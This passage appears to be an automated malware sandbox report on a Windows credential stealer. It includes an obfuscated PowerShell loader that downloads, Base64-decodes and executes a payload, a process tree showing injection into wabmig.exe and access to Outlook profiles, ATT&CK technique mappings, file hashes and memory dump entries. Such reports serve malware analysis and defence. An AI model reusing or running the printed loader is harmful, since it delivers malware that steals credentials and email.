');$Aerosiderolite=$Outspans[0];$Superhistorical= (Germania 'Ge,yt$StorrgSvinelA.matO HypobSl.taA indl rif:N.ndiRSupraEGe,eiUD,fectDaaseI An elAscriiJ.ylesRembuI BagsNMalicgTripa=BirdsN Ops.E CintWMisco-T ombO NrinBVammeJnanniE CapacAmbleTAtten BjrkesTautoy ritcsSkilltFamoue wungm Vulv.Part.n LangeFleett Ydel. b.dwwKnfale PladBTryllC SideLSign I Kamme.pasmNUnr,pt');$Superhistorical+=$Galenites69[1];Talekanalen ($Superhistorical);Talekanalen (Germania 'Ch,et$forktRSlimmeDe.tsu EnketReobsiChlorl rocriDekorsUrethiDecyln Brang Stip. SprjHKatteeElemhaGuilfdBru ee SoverRew dsModfo[Kniks$ edraOBand skberntStatse nrasa ForblSo,acgMyrrhiLudolaBolth]Ove,b=Cryst$AntisDMaggieOpstnr c ramMultioVerdir PreyeEre oa ippecFunkttWindoiTrus.oUs.ornC,rne ');$Innest=Germania 'Desmo$ProviRDe igeAnisbuAdjutt Kar iBib,ilBadg.iNrsynsOrgani SekunPretagRe zi.OverdD.uftfoL kalwmanihn AsfmlMatrioJordba Hyald KosmF,lathi NonilBegree Ridg( part$barnaAM.sabeHorserP pilo Klges BrseiSke ldU aeneBarserTeleooDel,glSan,tiNavnltko mae Espa,Unath$ ErinMHampeeVegstrSekstoEf ulpRaadmi SupeaCompusHolla),ruta ';$Meropias=$Galenites69[0];Talekanalen (Germania 'He.mi$OverbGStikllEnligOso erBFeti,aP,efoLUefte:kulsoPSpknilKugleeSuperCPr sit Del,R .imaE Spor=Borup(MadagTMe,iaeEye oSGuldaTUefte-AnkomPAr,olANonentE helhSnob Rid,e$Dechem Ul,reN,rmaRIdnhkOFrostPFinjuiDenizABe iasSu,ps)Straf ');while (!$Plectre) {Talekanalen (Germania 'Cockn$ Ind.g OrielOd ntoSemi,bVr.ihaUnderl onna:HimmeBSensaoMalobrtrgretuntorlDim noFibrod etad L akeSuperrMet p=fr mk$FilostDisplrDupwaubyggeePhala ') ;Talekanalen $Innest;Talekanalen (Germania 'SyzygSFl.rttFu hia entrrSjlfutKopie-Ca vaSCivi l ,cieeIodo.eRingvpTredv Virre4Forud ');Talekanalen (Germania 'Fremt$StiktgPr aclKattioHydribUbehaaFrnnelClino: SkipPByguelTropieBrn,ec DiabtShemir Cavee Hand=Abiet(AmbolTSabl.eRehidsVov htAmmod-For rPMyofiaPiotetU neahSnegl Puff $SplinMJawtwe AntirFr vloSpitepatt niCo.ntaGlottsU ork)Skip ') ;Talekanalen (Germania 'Aphod$HoboigCy,tol Almbo.ekatbre teaS okklKnowi:SlaaeFskjoreBas.bcReferuGlgninBa bldPamp,aSkumgtGligaiGr skoSterlnVulpe= S or$phallgu clol Chono IndibRvesaaPussll Bevi: Sv tVCircue ortsr nodb ytmia UngalPol.iiDermazFrysee Feus+Fitti+Staff% .orm$ In,aO Vagtu DgndtSljens,rfabpHandsaTaut.nSt lds Rels.BackrcSkorpoLsgnguSe imn onktSpeci ') ;$Aerosiderolite=$Outspans[$Fecundation];}$Afskumningernes=320006;$Fragtraterne=29409;Talekanalen (Germania ' Endo$ VrksgFabullWetcho Its b Opt.aAmarylEksku:.kikkv.ndryaPedalaSnurpbPentae Ta.inFiffis KompmCalamuCul eg Telel dmugirigsanAt ragmi ros Ness Samp=Bevir NonsGAgoraeDublet eks-forsiCtineioDr ukn .glitMa cae ilbanVejentQuara Gedeh$ParocM CocheFinkmrQidnooSmertpLalpai UncaaOu,grsStrsk ');Talekanalen (Germania 'Glaum$VendigCreatl.oddeoMrk,pbBeaanaMentalWobl :SteriDBor ojForbivBilfoethermlskralsDo nwk,ncomeIn stsDe re Af.an=Shoes Kabin[LimfaS SavkyLaborsBatiktDetoneriddlmudp r.Eq iaCP ehaoSp ldnErganv Drape Cicar orldtPsi,o]Adj d:Jus i:AstraFUnvisrRe ieoBorgemReserBFirmaaStedesofficePref,6Impr,4Ma orSNonsutBarchrNyhediLnpronPossig elfr(humid$ t anvRe,isa TimoaPontibBorgeeVagtsnIntersRammemsmkreu,phthgGlyoxlFunktiAlsi.nP.ocegRecapsstruk)Adun ');Talekanalen (Germania 'Ragin$autofgPrecolKukstoSor ib C noa ollalPhosp:J.ledDAspiryScourrAlde,t ,yppi Videdsherie forhrOktaenVred eKron. Tildr=Prewr tachy[ dersSBararySe,resCatalt barheDaginmAra,a.Ha,roThalvaeClusixEn ydtConst.FyldeE Beh.nSu pacRaadioRugmedPantei,amblnU rangSvlge]Cor o:barse:AnecdABam uSpile COutbrIGreg,Iberve.V skeGBlowge PagitDdsfoSplacitNettor MyeliUndernOv rcgepemb(polys$Spo vDDea ljBrillvEvil e ParalkatjasMakrokInd ae Equas,esth)U der ');Talekanalen (Germania 'Bedst$BanjogAntislSk ifoSkovsbNeonsaUdgralAfskr:sw shI brennCoexitInspie ForbgNoteauNabofmBedyreGentanBortdtmrklaaAlrunlUndk,=Ta tr$MiscoDBjergySalinr ajortEjakui allid Bl,fetidsbrStentn N tae Anti. ompasAvelluAccombunfa.sRea rtGas.rr BelgiBestrnAsshog Scan( U,in$SlrinASu laf Li osSubvekLurdau a admNeissn Ov,riVigtenF gesgViolieUnscrr KontnBoysrean mas Om u, .ank$ Ro.tFLjpesrFasteaTilb,gSkakbtSuperrvil yaskrmmt,venee CamprfolkenTegnieunneu)Unren ');Talekanalen $Integumental;"
      4⤵
      Suspicious use of NtSetInformationThreadHideFromDebugger
      Suspicious use of SetThreadContext
      System Location Discovery: System Language Discovery
      Suspicious behavior: CmdExeWriteProcessMemorySpam
      Suspicious behavior: EnumeratesProcesses
      Suspicious behavior: MapViewOfSection
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:284
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c "echo %appdata%\Roborate.Uns && echo t"
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:564
    - - C:\Program Files (x86)\windows mail\wabmig.exe
        
        "C:\Program Files (x86)\windows mail\wabmig.exe"
        5⤵
        
        PID:520
    - - C:\Program Files (x86)\windows mail\wabmig.exe
        
        "C:\Program Files (x86)\windows mail\wabmig.exe"
        5⤵
        Accesses Microsoft Outlook profiles
        Suspicious use of NtCreateThreadExHideFromDebugger
        Suspicious use of NtSetInformationThreadHideFromDebugger
        System Location Discovery: System Language Discovery
        Suspicious use of AdjustPrivilegeToken
        outlook_office_path
        outlook_win_path
        
        PID:1800

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Credentials from Password Stores

1

T1555

Credentials from Web Browsers

1

T1555.003

Discovery

System Information Discovery

1

T1082

System Location Discovery

1

T1614

System Language Discovery

1

T1614.001

Lateral Movement

Collection

Email Collection

1

T1114

Command and Control

Web Service

1

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-457978338-2990298471-2379561640-1000\0f5007522459c86e95ffcc62f32308f1_7ab03691-fc7c-4787-903d-423aed4b9dc2

Filesize
46B

MD5
d898504a722bff1524134c6ab6a5eaa5

SHA1
e0fdc90c2ca2a0219c99d2758e68c18875a3e11e

SHA256
878f32f76b159494f5a39f9321616c6068cdb82e88df89bcc739bbc1ea78e1f9

SHA512
26a4398bffb0c0aef9a6ec53cd3367a2d0abf2f70097f711bbbf1e9e32fd9f1a72121691bb6a39eeb55d596edd527934e541b4defb3b1426b1d1a6429804dc61

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-457978338-2990298471-2379561640-1000\0f5007522459c86e95ffcc62f32308f1_7ab03691-fc7c-4787-903d-423aed4b9dc2

Filesize
46B

MD5
c07225d4e7d01d31042965f048728a0a

SHA1
69d70b340fd9f44c89adb9a2278df84faa9906b7

SHA256
8c136c7ae08020ad16fd1928e36ad335ddef8b85906d66b712fff049aa57dc9a

SHA512
23d3cea738e1abf561320847c39dadc8b5794d7bd8761b0457956f827a17ad2556118b909a3e6929db79980ccf156a6f58ac823cf88329e62417d2807b34b64b

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\ESLX1JW8E16E7T78F4AW.temp

Filesize
7KB

MD5
0af3d0e8d6d3900d40d03baa315449e8

SHA1
28ee99c9de747d484d8b57874f5a11a694252ee5

SHA256
78372ecc28ba5e5e93ff515083c03263a68bc623a5e7946e03feb01ec4f740e5

SHA512
ae599a9eb1ccaa429585ad77a2da1d4fdfff16a240f893c2bc14a5bdfaa419d78f9385f0a2e2fb6eed20d64f27f0a5e2c11845ad3c2a51915eb48d634580fdb8

Download Submit
C:\Users\Admin\AppData\Roaming\Roborate.Uns

Filesize
454KB

MD5
0b4940908143e7fa3180389a9b914557

SHA1
50985967f0dd7d2d8fdac35c66e6c066aba58aaf

SHA256
6e7664ac02af1fef33611b5150c64e285ca5c5bfda5bd555299c6df7b41f4d22

SHA512
eae1f4f22060ae85a31013cf9b904429e914018188eb519135e9ee747ff35b6a6426f665cd61cfb8724908658d11e80deb483901f4357c10cb5d207cb352e299

Download Submit
memory/284-20-0x0000000006140000-0x00000000094E6000-memory.dmp

Filesize
51.6MB

Download
memory/1800-46-0x0000000000E60000-0x0000000004206000-memory.dmp

Filesize
51.6MB

Download
memory/1800-22-0x0000000000E60000-0x0000000004206000-memory.dmp

Filesize
51.6MB

Download
memory/2840-8-0x000007FEF5EE0000-0x000007FEF687D000-memory.dmp

Filesize
9.6MB

Download
memory/2840-13-0x000007FEF5EE0000-0x000007FEF687D000-memory.dmp

Filesize
9.6MB

Download
memory/2840-14-0x000007FEF619E000-0x000007FEF619F000-memory.dmp

Filesize
4KB

Download
memory/2840-15-0x000007FEF5EE0000-0x000007FEF687D000-memory.dmp

Filesize
9.6MB

Download
memory/2840-11-0x000007FEF5EE0000-0x000007FEF687D000-memory.dmp

Filesize
9.6MB

Download
memory/2840-9-0x000007FEF5EE0000-0x000007FEF687D000-memory.dmp

Filesize
9.6MB

Download
memory/2840-10-0x000007FEF5EE0000-0x000007FEF687D000-memory.dmp

Filesize
9.6MB

Download
memory/2840-4-0x000007FEF619E000-0x000007FEF619F000-memory.dmp

Filesize
4KB

Download
memory/2840-47-0x000007FEF5EE0000-0x000007FEF687D000-memory.dmp

Filesize
9.6MB

Download
memory/2840-7-0x0000000001E60000-0x0000000001E68000-memory.dmp

Filesize
32KB

Download
memory/2840-6-0x000007FEF5EE0000-0x000007FEF687D000-memory.dmp

Filesize
9.6MB

Download
memory/2840-5-0x000000001B300000-0x000000001B5E2000-memory.dmp

Filesize
2.9MB

Download

Analysis

Sharing